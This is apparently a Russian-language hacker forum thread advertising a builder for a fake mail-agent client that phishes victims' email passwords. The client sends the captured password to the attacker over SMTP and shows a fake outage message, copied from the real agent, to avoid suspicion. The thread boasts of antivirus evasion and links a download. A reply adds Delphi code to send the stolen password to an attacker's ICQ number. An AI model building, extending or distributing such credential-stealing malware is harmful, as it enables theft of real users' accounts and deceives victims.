Собсно отправляет пароль с мыла жертвы на ваше мыло посредством коннекта SMTP. KIS ругается разве что на коннект к smtp.mail.ru. Если пароль верный, то отправляем пасс на мыло, и сообщаем юзера, что сервис временно недоступен (текст взят из реального мейл-агента, когда нет связи с сервером). В противном случае сообщаем, что пароль неверный (так же текст из реального агента). Ниоткуда ничего не читаем, не лезем в реестр, не привлекаем лишнего внимания. Антивирусами не палится. Чего не так: - не регистрирует новые акки, т.е. когда ламак заполнил форму и жмёт "зарегистрировать" его отправляет в тартарары на 404 страницу. когда-нибудь доделаю. - меню в трее обычная форма со всеми вытекающими. утомительно рисовать такую махину. но неладное заметит только глаз-алмаз. а так менюшка как менюшка. - не отправляет пассы на айцыкью. уже на завершающем этапе я выяснил, что в билдере нужно ещё одно поле добавить, типа "куда отправлять пасс" (ну не самому же себе). а так как я очень опечалилсо этим фейлом, то решил пока не доделывать айцыкью. - ещё некоторые мелкие несоответствия (см. про глаз-алмаз). В архиве билдер (148 Kb) http://letitbit.net/download/91723.919aa09fc4cfbfae08e820bf0/bmragent.zip.html
Доделать отправку в icq 5 строк ICQClient1.UIN:=111111; // От кого (Номер ICQ) ICQClient1.Password:='12345'; // Пароль от этого номера icqclient1.Login(); // Коннектимся В обработчике события OnLogin пишем: Icqclient1.SendMessage(ICQ номер куда слать,Edit1.text); --------------------------------------------------------- И в обработчике события OnMsgAck пишем icqclient1.Disconnect; // дисконнект после отправки сообщения
вообще-то фейк не на дельфине. для отправки всё готово, просто лень доделывать билдер. к тому же от вас нужно два уина - откуда и куда. соответственно к одному уину нужен пасс. я бы не доверил пасс к уину какому-то фейку. разве что имеется парк кривых девяток для подобных целей.
